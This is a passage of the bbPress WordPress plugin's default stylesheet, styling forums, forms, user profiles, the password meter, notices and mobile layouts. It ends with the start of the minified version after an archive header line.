}

#bbpress-forums .bbp-topic-pagination {
	display: inline-block;
	margin-left: 5px;
	margin-bottom: 2px;
}

#bbpress-forums .bbp-topic-pagination a {
	font-size: 10px;
	font-weight: 400;
	line-height: 10px;
	margin: 0;
	padding: 1px 3px;
	border: 1px solid #ddd;
	color: inherit;
	background: none;
	display: inline;
	text-decoration: none;
}

#bbpress-forums .bbp-topic-pagination a:hover,
#bbpress-forums .bbp-pagination-links a:hover,
#bbpress-forums .bbp-pagination-links span.current {
	background: #eee;
	opacity: 0.8;
	border: 1px solid #ddd;
}

/* =Forms
-------------------------------------------------------------- */

#bbpress-forums fieldset.bbp-form {
	clear: left;
	border: 1px solid #eee;
	padding: 10px 20px;
	margin-bottom: 10px;
}

#bbpress-forums fieldset.bbp-form legend {
	padding: 5px;
	width: auto;
	border: none;
}

#bbpress-forums fieldset.bbp-form label {
	margin: 0;
	display: inline-block;
}

#bbp-edit-topic-tag.bbp-form fieldset.bbp-form label,
#bbp-login fieldset label,
#bbp-register fieldset label,
#bbp-lost-pass fieldset label {
	width: 100px;
}

/* Some themes aggressively add padding to paragraph tags */
#bbpress-forums fieldset.bbp-form p {
	padding: 0;
}

#bbpress-forums fieldset.bbp-form p,
#bbpress-forums fieldset.bbp-form textarea,
#bbpress-forums fieldset.bbp-form select,
#bbpress-forums fieldset.bbp-form input {
	margin: 0 0 8px;
}

/* Try to prevent untall selects & text boxes */
#bbpress-forums fieldset.bbp-form select,
#bbpress-forums fieldset.bbp-form input[type="text"] {
	min-height: 28px;
	height: 28px;
	padding: 5px;
}

textarea#bbp_reply_content,
textarea#bbp_topic_content,
textarea#bbp_forum_content {
	width: 97%;
	box-sizing: border-box;
}

textarea#bbp_forum_content {
	height: 210px;
}

#bbpress-forums fieldset.bbp-forum-form-attributes {
	width: 200px;
	float: right;
	clear: none;
	margin-left: 25px;
}

/**
 * Fix for too-long forum names, usually from conversion
 */
#bbpress-forums fieldset select#bbp_forum_id {
	max-width: 200px;
}

.bbp-topic-form,
.bbp-reply-form,
.bbp-topic-tag-form {
	clear: left;
}

body.topic-edit .bbp-topic-form div.avatar img,
body.reply-edit .bbp-reply-form div.avatar img,
body.single-forum .bbp-topic-form div.avatar img,
body.single-reply .bbp-reply-form div.avatar img {
	margin-right: 0;
	padding: 10px;
	border: 1px solid #ddd;
	line-height: 0;
	background-color: #efefef;
}

body.page .bbp-reply-form code,
body.page .bbp-topic-form code,
body.single-topic .bbp-reply-form code,
body.single-forum .bbp-topic-form code,
body.topic-edit .bbp-topic-form code,
body.reply-edit .bbp-reply-form code {
	font-size: 10px;
	background-color: #f0fff8;
	border: 1px solid #ceefe1;
	display: block;
	padding: 8px;
	margin-top: 5px;
	width: 369px;
}

#merge_tag,
#delete_tag {
	display: inline;
}

div.bbp-submit-wrapper {
	margin-top: 15px;
	float: right;
	clear: both;
}

p.form-allowed-tags {
	max-width: 100%;
}

/* =TinyMCE in themes
-------------------------------------------------------------- */
#bbpress-forums div.bbp-the-content-wrapper {
	margin-bottom: 10px;
}

#bbpress-forums div.bbp-the-content-wrapper textarea.bbp-the-content {
	width: 100%;
	margin: 0;
	font-size: 12px;
}

#bbpress-forums div.bbp-the-content-wrapper table,
#bbpress-forums div.bbp-the-content-wrapper tbody,
#bbpress-forums div.bbp-the-content-wrapper tr,
#bbpress-forums div.bbp-the-content-wrapper td {
	border: none;
	padding: 0;
	margin: 0;
	width: auto;
	line-height: 1;
}

#bbpress-forums div.bbp-the-content-wrapper input[type="button"] {
	padding: 4px 7px;
	margin: 0 -1px 0 0;
	line-height: 0;
	border: 1px solid transparent;
	background-color: transparent;
	box-shadow: none;
	text-shadow: none;
	text-transform: uppercase;
	font-size: 11px;
	font-weight: 400;
	border-radius: 3px;
	min-width: 25px;
	color: #555;
}

#bbpress-forums div.bbp-the-content-wrapper input[type="button"]:hover {
	border-color: rgba(0, 0, 0, 0.1);
	background-color: rgba(255, 255, 255, 0.5);
}

#bbpress-forums div.bbp-the-content-wrapper div.quicktags-toolbar {
	padding: 5px;
	min-height: 26px;
}

#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar {
	padding: 4px 4px 8px;
}

#bbpress-forums div.wp-editor-container {
	margin: 0;
	padding: 0;
	line-height: 0;
}

#bbpress-forums div.bbp-the-content-wrapper td.mceStatusbar {
	line-height: 16px;
}

#bbpress-forums .bbp-replies .bbp-reply-form {
	margin: 0 10px 0 10px;
}

/* =Edit User
-------------------------------------------------------------- */

#bbpress-forums #bbp-your-profile fieldset {
	padding: 20px 20px 0;
}

#bbpress-forums #bbp-your-profile fieldset div {
	margin-bottom: 20px;
	float: left;
	width: 100%;
	clear: left;
}

#bbpress-forums #bbp-your-profile fieldset select {
	margin-bottom: 0;
	width: 60%;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
}

#bbpress-forums #bbp-your-profile fieldset input,
#bbpress-forums #bbp-your-profile fieldset textarea {
	margin-bottom: 0;
	width: 60%;
	background-color: #f9f9f9;
	border: 1px solid #ddd;
	box-shadow: none;
	border-radius: 0;
}

#bbpress-forums #bbp-your-profile fieldset input:focus,
#bbpress-forums #bbp-your-profile fieldset textarea:focus {
	border: 1px solid #ccc;
	box-shadow: inset 1px 1px 1px rgba(0, 0, 0, 0.1);
	outline-color: rgba(240, 255, 240, 0.1);
}

#bbpress-forums #bbp-your-profile fieldset.bbp-form input.checkbox {
	width: auto;
}

#bbpress-forums #bbp-your-profile fieldset legend {
	display: none;
}

#bbpress-forums #bbp-your-profile fieldset label[for] {
	float: left;
	width: 20%;
	padding: 5px 20px 5px 0;
	text-align: right;
	cursor: pointer;
}

#bbpress-forums #bbp-your-profile fieldset dl label[for] {
	text-align: left;
	width: 60%;
}

#bbpress-forums #bbp-your-profile fieldset p.description {
	margin: 5px 0 0 20%;
	font-size: 12px;
	font-style: italic;
	float: left;
	clear: left;
	width: 60%;
	padding: 5px 8px;
	border: #cee1ef 1px solid;
	background-color: #f0f8ff;
}

#bbpress-forums #bbp-your-profile fieldset fieldset {
	margin: 0;
	border: none;
	padding: 0;
	clear: none;
	float: none;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.capabilities dl {
	margin: 0;
}

#bbpress-forums #bbp-your-profile fieldset.submit button {
	float: right;
}

/* =Password Generator
-------------------------------------------------------------- */

#bbpress-forums #bbp-your-profile fieldset fieldset.password {
	width: 60%;
	display: inline;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-input-wrapper,
#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper {
	width: 100%;
	margin: 0;
	display: inline-block;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password .password-button-wrapper button {
	width: 46%;
	margin: 4% 2%;
	box-sizing: border-box;
	display: inline-block;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password input,
#bbpress-forums #bbp-your-profile fieldset fieldset.passwword textarea {
	width: 100%;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password button .dashicons {
	display: none;
}

#bbpress-forums #bbp-your-profile fieldset fieldset.password span.description {
	margin-left: 0;
	margin-bottom: 20px;
}

#bbpress-forums #password #pass-strength-result {
	background-color: #eee;
	border: 1px solid #ddd;
	color: #23282d;
	margin: 0;
	padding: 8px;
	text-align: center;
	box-sizing: border-box;
	display: inline-block;
}

#bbpress-forums #password #pass-strength-result.short {
	background-color: #f1adad;
	border-color: #e35b5b;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.bad {
	background-color: #fbc5a9;
	border-color: #f78b53;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.good {
	background-color: #ffe399;
	border-color: #ffc733;
	opacity: 1;
}

#bbpress-forums #password #pass-strength-result.strong {
	background-color: #c1e1b9;
	border-color: #83c373;
	opacity: 1;
}

#bbpress-forums #password #pass1.short,
#bbpress-forums #password #pass1-text.short {
	border-color: #e35b5b;
}

#bbpress-forums #password#pass1.bad,
#bbpress-forums #password #pass1-text.bad {
	border-color: #f78b53;
}

#bbpress-forums #password #pass1.good,
#bbpress-forums #password #pass1-text.good {
	border-color: #ffc733;
}

#bbpress-forums #password #pass1.strong,
#bbpress-forums #password #pass1-text.strong {
	border-color: #83c373;
}

#bbpress-forums .indicator-hint {
	padding-top: 8px;
}

#bbpress-forums .pw-weak,
#bbpress-forums #pass1-text,
#bbpress-forums .show-password #pass1 {
	display: none;
}

#bbpress-forums .show-password #pass1-text {
	display: inline-block;
}

/* =Notices
-------------------------------------------------------------- */

div.bbp-template-notice,
div.indicator-hint {
	border-width: 1px;
	border-style: solid;
	padding: 0 0.6em;
	margin: 5px 0 15px;
	border-radius: 3px;
	background-color: #ffffe0;
	border-color: #e6db55;
	color: #000;
	clear: both;
}

div.bbp-template-notice a {
	color: #555;
	text-decoration: none;

}

div.bbp-template-notice a:hover {
	color: #000;
}

div.bbp-template-notice.info {
	border: #cee1ef 1px solid;
	background-color: #f0f8ff;
}

div.bbp-template-notice.important {
	border: #e6db55 1px solid;
	background-color: #fffbcc;
}

div.bbp-template-notice.error,
div.bbp-template-notice.warning {
	background-color: #ffebe8;
	border-color: #c00;
}

div.bbp-template-notice.error a,
div.bbp-template-notice.warning a {
	color: #c00;
}

div.bbp-template-notice p,
div.bbp-template-notice li {
	margin: 0.5em 0 6px !important;
	padding: 2px;
	font-size: 12px;
	line-height: 1.4;
}

#bbpress-forums div.bbp-template-notice code {
	font-size: 11px;
	padding: 2px 4px;
	background: rgba(200, 200, 200, 0.3);
	border-radius: 3px;
}

/* =Stickies
-------------------------------------------------------------- */

.bbp-topics-front ul.super-sticky,
.bbp-topics ul.super-sticky,
.bbp-topics ul.sticky,
.bbp-forum-content ul.sticky {
	background-color: #ffffe0 !important;
	font-size: 1.1em;
}

/* =Revisions
-------------------------------------------------------------- */

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log {
	border-top: 1px dotted #ddd;
	width: 100%;
	margin: 0;
	padding: 8px 0 0;
	font-size: 11px;
	color: #aaa;
}

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log li,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log li,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log li {
	list-style-type: none;
}

#bbpress-forums .bbp-topic-content ul.bbp-topic-revision-log a,
#bbpress-forums .bbp-reply-content ul.bbp-topic-revision-log a,
#bbpress-forums .bbp-reply-content ul.bbp-reply-revision-log a {
	text-decoration: none;
}

/* =Widgets
-------------------------------------------------------------- */

.bbp-login-form fieldset legend {
	display: none;
}

.bbp-login-form .bbp-username input,
.bbp-login-form .bbp-email input,
.bbp-login-form .bbp-password input {
	padding: 5px;
}

.bbp-login-form label {
	width: 140px;
	display: inline-block;
}

#sidebar .bbp-login-form label {
	width: 70px;
}

.bbp-login-form .bbp-username,
.bbp-login-form .bbp-email,
.bbp-login-form .bbp-password,
.bbp-login-form .bbp-remember-me,
.bbp-login-form .bbp-submit-wrapper {
	margin-top: 10px;
}

.bbp-login-form .bbp-submit-wrapper {
	text-align: right;
}

.bbp-login-form .bbp-login-links a {
	float: left;
	clear: left;
}

.bbp-logged-in img.avatar {
	float: left;
	margin: 0 15px 0 0;
}

.bbp-logged-in h4 {
	font-weight: 700;
	font-size: 1.3em;
	clear: none;
	margin-bottom: 10px;
}

/* =Avatars
-------------------------------------------------------------- */

#bbpress-forums img.avatar {
	box-shadow: none;
	display: inline-block;
	margin-right: 4px;
}

#bbpress-forums p.bbp-topic-meta img.avatar,
#bbpress-forums ul.bbp-reply-revision-log img.avatar,
#bbpress-forums ul.bbp-topic-revision-log img.avatar,
#bbpress-forums div.bbp-template-notice img.avatar,
#bbpress-forums .widget_display_topics img.avatar,
#bbpress-forums .widget_display_replies img.avatar {
	float: none;
	vertical-align: middle;
	border: 3px double #ddd;
	max-height: 20px;
	max-width: 20px;
}

fieldset div.avatar {
	float: right;
}

/* =BuddyPress Activity Streams
-------------------------------------------------------------- */

.activity-list li.bbp_topic_create .activity-content .activity-inner,
.activity-list li.bbp_reply_create .activity-content .activity-inner {
	border-left: 2px solid #eaeaea;
	margin-left: 5px;
	padding-left: 10px;
}

/* =User Pages
-------------------------------------------------------------- */

#bbpress-forums h1 {
	clear: none;
	font-size: 1.8em;
	line-height: 1;
	padding-bottom: 10px;
}

#bbpress-forums #bbp-user-wrapper {
	float: left;
	width: 100%;
}

#bbpress-forums .bbp-user-section {
	overflow: auto;
	clear: right;
}

#bbpress-forums #bbp-user-wrapper h2.entry-title {
	font-size: 1.4em;
	margin: 0;
	padding-bottom: 10px;
	padding-top: 0;
	clear: none;
}

#bbpress-forums #bbp-user-wrapper ul.bbp-lead-topic,
#bbpress-forums #bbp-user-wrapper ul.bbp-topics,
#bbpress-forums #bbp-user-wrapper ul.bbp-forums,
#bbpress-forums #bbp-user-wrapper ul.bbp-replies,
#bbpress-forums #bbp-user-wrapper fieldset.bbp-form {
	clear: none;
}

#bbpress-forums #bbp-single-user-details {
	margin: 0;
	width: 150px;
	float: left;
	overflow: hidden;
}

#bbpress-forums #bbp-single-user-details #bbp-user-avatar {
	margin: 0;
	width: 150px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-avatar img.avatar {
	border: none;
	height: 150px;
	padding: 0;
	margin: 0 0 20px;
	width: 150px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-description {
	float: none;
	margin-left: 180px;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation {
	float: none;
	margin: 0;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation li {
	margin: 0;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation a {
	padding: 5px 8px;
	display: block;
	border: 1px solid transparent;
	text-decoration: none;
}

#bbpress-forums #bbp-single-user-details #bbp-user-navigation li.current a {
	background: #eee;
	opacity: 0.8;
}

#bbpress-forums #bbp-user-body {
	margin-left: 180px;
}

body.my-account #bbpress-forums {
	border-top: none;
	padding-top: 0;
	margin-bottom: 0;
}

/* =User Capabilities
-------------------------------------------------------------- */

#bbpress-forums dl.bbp-user-capabilities {
	display: inline-block;
	vertical-align: top;
}

#bbpress-forums dl.bbp-user-capabilities dt {
	margin: 0 0 10px;
	text-transform: capitalize;
}

#bbpress-forums dl.bbp-user-capabilities dd {
	margin: 0;
	padding: 0;
}

/* =Alerts
-------------------------------------------------------------- */

.bbp-alert-outer {
	height: 100%;
	width: 100%;
	top: 0;
	left: 0;
	position: fixed;
	background-color: rgba(0, 0, 0, 0.2);
	z-index: 99999;
}

.bbp-alert-inner {
	width: 350px;
	text-align: center;
	background: #fff;
	position: fixed;
	top: 50%;
	left: 50%;
	margin-top: -75px;
	margin-left: -185px;
	border-radius: 3px;
	border: 1px solid #aaa;
	padding: 15px 10px 10px;
}

.bbp-alert-outer .bbp-alert-inner p {
	margin: 10px 0;
}

.bbp-alert-actions a {
	padding: 5px 20px;
	text-decoration: none;
}

/*--------------------------------------------------------------
 Media Queries
--------------------------------------------------------------*/

/* =Standard Mobile Landscape
-------------------------------------------------------------- */
@media only screen and (max-width: 480px) {

	#bbpress-forums div.bbp-topic-tags {
		clear: both;
		float: none;
	}

	div.bbp-search-form input,
	div.bbp-search-form button {
		font-size: 11px;
		padding: 2px;
	}

	li.bbp-forum-info,
	li.bbp-topic-title {
		width: 45%;
	}

	li.bbp-forum-topic-count,
	li.bbp-forum-reply-count,
	li.bbp-topic-voice-count,
	li.bbp-topic-reply-count {
		width: 15%;
	}

	span.bbp-topic-post-date,
	span.bbp-reply-post-date {
		float: left;
	}

	span.bbp-admin-links {
		float: none;
		clear: both;
	}

	#bbpress-forums .bbp-forums-list li,
	#bbpress-forums .bbp-forums-list span {
		display: block;
		font-size: 11px;
	}

	#bbpress-forums .bbp-body div.bbp-topic-author,
	#bbpress-forums .bbp-body div.bbp-reply-author {
		float: none;
		margin: 10px;
		min-height: 80px;
		padding-left: 80px;
		position: relative;
		text-align: left;
		width: calc(100% - 100px);
		border-bottom: 1px solid #efefef;
		box-sizing: content-box;
	}

	#bbpress-forums div.bbp-topic-author .bbp-author-name,
	#bbpress-forums div.bbp-reply-author .bbp-author-name {
		clear: none;
		display: inline-block;
		margin-left: 0;
		word-wrap: break-word;
	}

	#bbpress-forums div.bbp-topic-author img.avatar,
	#bbpress-forums div.bbp-reply-author img.avatar {
		position: absolute;
		top: 0;
		left: 0;
		width: 60px;
		height: auto;
		margin-top: 0;
	}

	#bbpress-forums div.bbp-topic-author .bbp-author-role,
	#bbpress-forums div.bbp-reply-author .bbp-author-role {
		font-size: 12px;
		font-style: normal;
	}

	#bbpress-forums .bbp-body div.bbp-topic-content,
	#bbpress-forums .bbp-body div.bbp-reply-content {
		clear: both;
		margin: 0 10px 5px 10px;
		padding: 0;
	}

	#bbpress-forums div.bbp-topic-content p,
	#bbpress-forums div.bbp-reply-content p {
		margin-bottom: 1em;
	}

	#bbpress-forums div.bbp-topic-content p:last-child,
	#bbpress-forums div.bbp-reply-content p:last-child {
		margin-bottom: 0;
	}

	div.bbp-submit-wrapper {
		float: left;
	}

	#bbpress-forums fieldset.bbp-form {
		padding: 0 10px 10px;
	}

	#bbpress-forums #bbp-user-body {
		clear: both;
		margin-left: 0;
		word-wrap: break-word;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 14px;
	}
}

/* =Standard Mobile Portrait
-------------------------------------------------------------- */
@media only screen and (max-width: 320px) {

	#bbpress-forums div.bbp-search-form {
		margin-bottom: 10px;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-info,
	#bbpress-forums li.bbp-body li.bbp-forum-info,
	#bbpress-forums li.bbp-header li.bbp-topic-title,
	#bbpress-forums li.bbp-body li.bbp-topic-title {
		width: 100%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-info,
	#bbpress-forums li.bbp-header li.bbp-topic-title {
		text-align: center;
		text-transform: uppercase;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-header li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-header li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-header li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count {
		width: 20%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		width: 58%;
	}

	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		margin-top: 7px;
	}

	#bbpress-forums li.bbp-header,
	#bbpress-forums li.bbp-footer {
		font-size: 10px;
	}

	#bbpress-forums li.bbp-header div.bbp-search-author,
	#bbpress-forums li.bbp-header div.bbp-topic-author,
	#bbpress-forums li.bbp-header div.bbp-reply-author {
		text-align: left;
		width: 25%;
	}

	#bbpress-forums li.bbp-header div.bbp-search-content,
	#bbpress-forums li.bbp-header div.bbp-topic-content,
	#bbpress-forums li.bbp-header div.bbp-reply-content {
		margin-left: 25%;
	}

	#bbpress-forums div.bbp-template-notice img.avatar,
	#bbpress-forums p.bbp-topic-meta img.avatar {
		width: 14px;
		height: auto;
		max-height: 14px;
		max-width: 14px;
	}

	#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar {
		padding: 1px;
	}

	#bbpress-forums div.bbp-the-content-wrapper td.mceToolbar td {
		width: 20px;
		height: 20px;
	}

	#bbpress-forums div.wp-editor-container {
		width: 100%;
		overflow: auto;
	}

	#bbpress-forums input#bbp_topic_title,
	#bbpress-forums input#bbp_topic_tags {
		width: 95%;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 14px;
	}
}

/* =Extra Small Mobile
-------------------------------------------------------------- */
@media only screen and (max-width: 240px) {

	#bbpress-forums li.bbp-header li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-header li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-body li.bbp-forum-topic-count,
	#bbpress-forums li.bbp-body li.bbp-forum-reply-count,
	#bbpress-forums li.bbp-header li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-header li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-body li.bbp-topic-voice-count,
	#bbpress-forums li.bbp-body li.bbp-topic-reply-count,
	#bbpress-forums li.bbp-footer div.bbp-search-author,
	#bbpress-forums li.bbp-footer div.bbp-topic-author,
	#bbpress-forums li.bbp-footer div.bbp-reply-author {
		width: 45%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-body li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness,
	#bbpress-forums li.bbp-body li.bbp-topic-freshness {
		clear: both;
		width: 100%;
	}

	#bbpress-forums li.bbp-header li.bbp-forum-freshness,
	#bbpress-forums li.bbp-header li.bbp-topic-freshness {
		text-align: center;
	}

	#bbpress-forums li.bbp-body li.bbp-topic-freshness,
	#bbpress-forums li.bbp-header div.bbp-search-author,
	#bbpress-forums li.bbp-header div.bbp-search-content,
	#bbpress-forums li.bbp-header div.bbp-topic-author,
	#bbpress-forums li.bbp-header div.bbp-topic-content,
	#bbpress-forums li.bbp-header div.bbp-reply-author,
	#bbpress-forums li.bbp-header div.bbp-reply-content {
		margin-left: 0;
		text-align: left;
	}

	#bbpress-forums li.bbp-body li.bbp-topic-freshness p.bbp-topic-meta {
		display: inline-block;
	}

	#bbpress-forums li.bbp-header {
		overflow: hidden;
	}

	#bbpress-forums li.bbp-footer div.bbp-search-content,
	#bbpress-forums li.bbp-footer div.bbp-topic-content,
	#bbpress-forums li.bbp-footer div.bbp-reply-content {
		display: inline-block;
		margin-left: 0;
	}

	#bbpress-forums li.bbp-body div.bbp-topic-author,
	#bbpress-forums li.bbp-body div.bbp-reply-author {
		min-height: 60px;
		padding-left: 60px;
	}

	#bbpress-forums div.bbp-topic-author img.avatar,
	#bbpress-forums div.bbp-reply-author img.avatar {
		width: 40px;
		height: auto;
	}

	#bbpress-forums div.bbp-forum-title h3,
	#bbpress-forums div.bbp-topic-title h3,
	#bbpress-forums div.bbp-reply-title h3 {
		font-size: 12px;
	}
}
templates/default/css/bbpress.min.css000066600000072675151771460310013744 0ustar00.hidden,.js .hide-if-js{display:none}.screen-reader-text,.screen-reader-text span,.ui-helper-hidden-accessible{position:absolute;margin:-1px;padding:0;height:1px;width:1px;overflow:hidden;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);border:0;word-wrap:normal!important}#bbpress-forums{background:0 0;clear:both;margin-bottom:20px;overflow:hidden;font-size:12px;line-height:18px}#bbpress-forums a,#bbpress-forums a:hover{box-shadow:none;border:none;transition:none}#bbpress-forums ul,#bbpress-forums.bbpress-wrapper ul{background:0 0;list-style:none;margin:0;padding:0}#bbpress-forums hr{margin:0 0 24px}#bbpress-forums div.even,#bbpress-forums ul.even{background-color:#fff}#bbpress-forums div.odd,#bbpress-forums ul.odd{background-color:#fbfbfb}body.reply-edit .reply{float:none}#bbpress-forums div.reply{height:auto;width:100%;box-sizing:border-box}#bbpress-forums div.bbp-forum-header,#bbpress-forums div.bbp-reply-header,#bbpress-forums div.bbp-topic-header{background-color:#f4f4f4}#bbpress-forums .status-spam.even,#bbpress-forums .status-trash.even{background-color:#fee}#bbpress-forums .status-spam.odd,#bbpress-forums .status-trash.odd{background-color:#fdd}#bbpress-forums .status-pending.even,#bbpress-forums .status-pending.odd,#bbpress-forums ul.status-pending a{background-color:#fef7f1}#bbpress-forums ul.status-closed,#bbpress-forums ul.status-closed a{color:#ccc}#bbpress-forums ul.bbp-threaded-replies{margin-left:50px}#bbpress-forums li{background:0 0;margin:0;list-style:none}#bbpress-forums ul.bbp-forums,#bbpress-forums ul.bbp-lead-topic,#bbpress-forums ul.bbp-replies,#bbpress-forums ul.bbp-search-results,#bbpress-forums ul.bbp-topics{font-size:12px;overflow:hidden;border:1px solid #eee;margin-bottom:20px;clear:both}#bbpress-forums li.bbp-body,#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{clear:both}#bbpress-forums li.bbp-footer,#bbpress-forums li.bbp-header{background:#f3f3f3;border-top:1px solid #eee;font-weight:700;padding:8px;text-align:center}#bbpress-forums li.bbp-header{background:#eaeaea}#bbpress-forums li.bbp-header ul{overflow:hidden}#bbpress-forums .bbp-forums-list{margin:0 0 0 7px;padding-left:12px;border-left:1px solid #ddd}#bbpress-forums .bbp-forums-list .bbp-forum{display:inline;font-size:11px}#bbpress-forums .bbp-forums-list .bbp-forum.css-sep:not(:last-child)::after{content:", "}#bbpress-forums li.bbp-footer p{margin:0;line-height:1}li.bbp-forum-info,li.bbp-topic-title{float:left;text-align:left;width:55%}li.bbp-forum-reply-count,li.bbp-forum-topic-count,li.bbp-topic-reply-count,li.bbp-topic-voice-count{float:left;text-align:center;width:10%}li.bbp-forum-freshness,li.bbp-topic-freshness{text-align:center;float:left;width:22%}#bbpress-forums li.bbp-body ul.forum,#bbpress-forums li.bbp-body ul.topic{border-top:1px solid #eee;overflow:hidden;padding:8px}#bbpress-forums #favorite-toggle,#bbpress-forums #subscription-toggle{float:right}#bbpress-forums div.bbp-forum-title h3,#bbpress-forums div.bbp-reply-title h3,#bbpress-forums div.bbp-topic-title h3{background:0 0;border:none;font-size:16px;line-height:1;margin:8px 0;padding:0;text-transform:none}#bbpress-forums div.bbp-forum-author,#bbpress-forums div.bbp-reply-author,#bbpress-forums div.bbp-topic-author{float:left;text-align:center;width:115px}#bbpress-forums div.bbp-forum-author img.avatar,#bbpress-forums div.bbp-reply-author img.avatar,#bbpress-forums div.bbp-topic-author img.avatar{border:none;max-width:80px;padding:0;margin:12px auto 0;float:none}#bbpress-forums div.bbp-forum-author .bbp-author-name,#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{margin:0 12px;word-wrap:break-word;display:inline-block}#bbpress-forums div.bbp-reply-author .bbp-author-name,#bbpress-forums div.bbp-topic-author .bbp-author-name{clear:left;display:block}#bbpress-forums div.bbp-forum-author .bbp-author-role,#bbpress-forums div.bbp-reply-author .bbp-author-role,#bbpress-forums div.bbp-topic-author .bbp-author-role{font-size:11px;font-style:italic}#bbpress-forums li.bbp-footer .bbp-forum-author,#bbpress-forums li.bbp-footer .bbp-reply-author,#bbpress-forums li.bbp-footer .bbp-search-author,#bbpress-forums li.bbp-footer .bbp-topic-author,#bbpress-forums li.bbp-header .bbp-forum-author,#bbpress-forums li.bbp-header .bbp-reply-author,#bbpress-forums li.bbp-header .bbp-search-author,#bbpress-forums li.bbp-header .bbp-topic-author{float:left;margin:0;padding:0;width:120px}#bbpress-forums li.bbp-footer .bbp-forum-content,#bbpress-forums li.bbp-footer .bbp-reply-content,#bbpress-forums li.bbp-footer .bbp-search-content,#bbpress-forums li.bbp-footer .bbp-topic-content,#bbpress-forums li.bbp-header .bbp-forum-content,#bbpress-forums li.bbp-header .bbp-reply-content,#bbpress-forums li.bbp-header .bbp-search-content,#bbpress-forums li.bbp-header .bbp-topic-content{margin-left:140px;padding:0;text-align:left}div.bbp-forum-header,div.bbp-reply-header,div.bbp-topic-header,li.bbp-body div.hentry{margin:0;overflow:hidden;padding:8px}div.bbp-forum-header,div.bbp-reply-header,div.bbp-topic-header{border-top:1px solid #ddd;clear:both}span.bbp-author-ip{font-size:11px;font-weight:700;word-wrap:break-word;color:#747474}#bbpress-forums div.bbp-forum-content,#bbpress-forums div.bbp-reply-content,#bbpress-forums div.bbp-topic-content{margin-left:130px;padding:12px 12px 12px 0;text-align:left;position:relative}#bbpress-forums div.bbp-forum-content::after,#bbpress-forums div.bbp-reply-content::after,#bbpress-forums div.bbp-topic-content::after{clear:both;content:".";display:block;float:none;height:0;font-size:0;visibility:hidden}#bbpress-forums div.bbp-reply-content a,#bbpress-forums div.bbp-topic-content a{background:0 0;border:none;display:inline;font-weight:400;margin:0;padding:0;text-decoration:underline}#bbpress-forums div.bbp-reply-content a.bbp-user-mention,#bbpress-forums div.bbp-topic-content a.bbp-user-mention{background:0 0;border:none;text-decoration:none;text-shadow:none;display:inline;font-weight:600;margin:0;padding:0}#bbpress-forums div.bbp-reply-content h1,#bbpress-forums div.bbp-reply-content h2,#bbpress-forums div.bbp-reply-content h3,#bbpress-forums div.bbp-reply-content h4,#bbpress-forums div.bbp-reply-content h5,#bbpress-forums div.bbp-reply-content h6,#bbpress-forums div.bbp-topic-content h1,#bbpress-forums div.bbp-topic-content h2,#bbpress-forums div.bbp-topic-content h3,#bbpress-forums div.bbp-topic-content h4,#bbpress-forums div.bbp-topic-content h5,#bbpress-forums div.bbp-topic-content h6{clear:none;line-height:1;margin:24px 0;padding:0}#bbpress-forums div.bbp-reply-content img,#bbpress-forums div.bbp-topic-content img{max-width:100%;height:auto}#bbpress-forums div.bbp-reply-content ol,#bbpress-forums div.bbp-reply-content ul,#bbpress-forums div.bbp-topic-content ol,#bbpress-forums div.bbp-topic-content ul{margin:0 15px 